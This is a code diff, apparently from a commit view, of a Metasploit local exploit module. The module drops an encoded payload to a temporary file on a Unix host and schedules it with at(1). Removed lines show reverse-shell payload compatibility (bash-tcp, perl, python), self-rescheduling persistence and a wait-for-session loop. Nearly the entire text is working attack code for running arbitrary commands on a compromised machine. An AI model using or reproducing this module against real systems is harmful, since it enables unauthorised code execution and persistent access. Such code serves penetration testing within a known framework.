@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Local
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Post ::File
10
- include Msf ::Post ::Unix
11
10
include Msf ::Exploit ::FileDropper
12
11
13
12
def initialize ( info = { } )
@@ -27,66 +26,47 @@ def initialize(info = {})
27
26
'DefaultTarget' => 0 ,
28
27
'Platform' => %w( unix ) ,
29
28
'Arch' => ARCH_CMD ,
30
- 'Payload' =>
31
- {
32
- 'Compat' =>
33
- {
34
- 'PayloadType' => 'cmd cmd_bash' ,
35
- 'RequiredCmd' => 'bash-tcp gawk generic openssl perl python ruby'
36
- }
37
- } ,
38
- 'DefaultOptions' => { 'WfsDelay' => 65 } ,
39
29
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
40
30
)
41
31
)
42
32
43
33
register_options (
44
34
[
45
- OptString . new ( 'TIME' , [ false , 'When to run job via at(1). Changing may require WfsDelay to be adjusted' , 'now + 1 minute' ] ) ,
46
- OptBool . new ( 'CLEANUP' , [ true , 'Delete payload after execution' , true ] )
35
+ OptString . new ( 'TIME' , [ false , 'When to run job via at(1). Changing may require WfsDelay to be adjusted.' , 'now' ] )
47
36
]
48
37
)
49
38
50
39
register_advanced_options (
51
40
[
52
- OptString . new ( 'PATH' , [ false , 'Path to store payload to be executed by at(1). Leave unset to use mktemp' ] )
41
+ OptString . new ( 'PATH' , [ false , 'Path to store payload to be executed by at(1). Leave unset to use mktemp. ' ] )
53
42
]
54
43
)
55
44
end
56
45
57
46
def check
58
- token = "fail #{ Rex ::Text . rand_text_alphanumeric ( 8 ) } "
59
- if cmd_exec ( "at -l || echo #{ token } " ) =~ /#{ token } /
60
- Exploit ::CheckCode ::Safe
61
- else
47
+ token = Rex ::Text . rand_text_alphanumeric ( 8 )
48
+ if cmd_exec ( "atq && echo #{ token } " ) . include? ( token )
62
49
Exploit ::CheckCode ::Vulnerable
50
+ else
51
+ Exploit ::CheckCode ::Safe
63
52
end
64
53
end
65
54
66
- def cmd_exec ( cmd )
67
- super ( "PATH=/bin:/usr/bin:/usr/local/bin #{ cmd } " )
68
- end
69
-
70
55
def exploit
71
56
unless check == Exploit ::CheckCode ::Vulnerable
72
57
fail_with ( Failure ::NoAccess , 'User denied cron via at.deny' )
73
58
end
74
59
75
- unless ( payload_file = datastore [ 'PATH' ] || cmd_exec ( 'mktemp' ) )
60
+ unless ( payload_file = ( datastore [ 'PATH' ] || cmd_exec ( 'mktemp' ) ) )
76
61
fail_with ( Failure ::BadConfig , 'Unable to find suitable location for payload' )
77
62
end
78
63
79
- persistent_payload = "at -f #{ payload_file } #{ datastore [ 'TIME' ] } \n " + payload . encoded
80
- write_file ( payload_file , persistent_payload )
81
- register_files_for_cleanup ( payload_file ) if datastore [ 'CLEANUP' ]
64
+ write_file ( payload_file , payload . encoded )
65
+ register_files_for_cleanup ( payload_file )
82
66
83
67
cmd_exec ( "chmod 700 #{ payload_file } " )
84
68
cmd_exec ( "at -f #{ payload_file } #{ datastore [ 'TIME' ] } " )
85
69
86
- print_status ( "Waiting up to #{ datastore [ 'WfsDelay' ] } sec for execution" )
87
- 0 . upto ( datastore [ 'WfsDelay' ] . to_i ) do
88
- Rex . sleep ( 1 )
89
- break if session_created?
90
- end
70
+ print_status ( "Waiting up to #{ datastore [ 'WfsDelay' ] } sec for execution" )
91
71
end
92
72
end
0 commit comments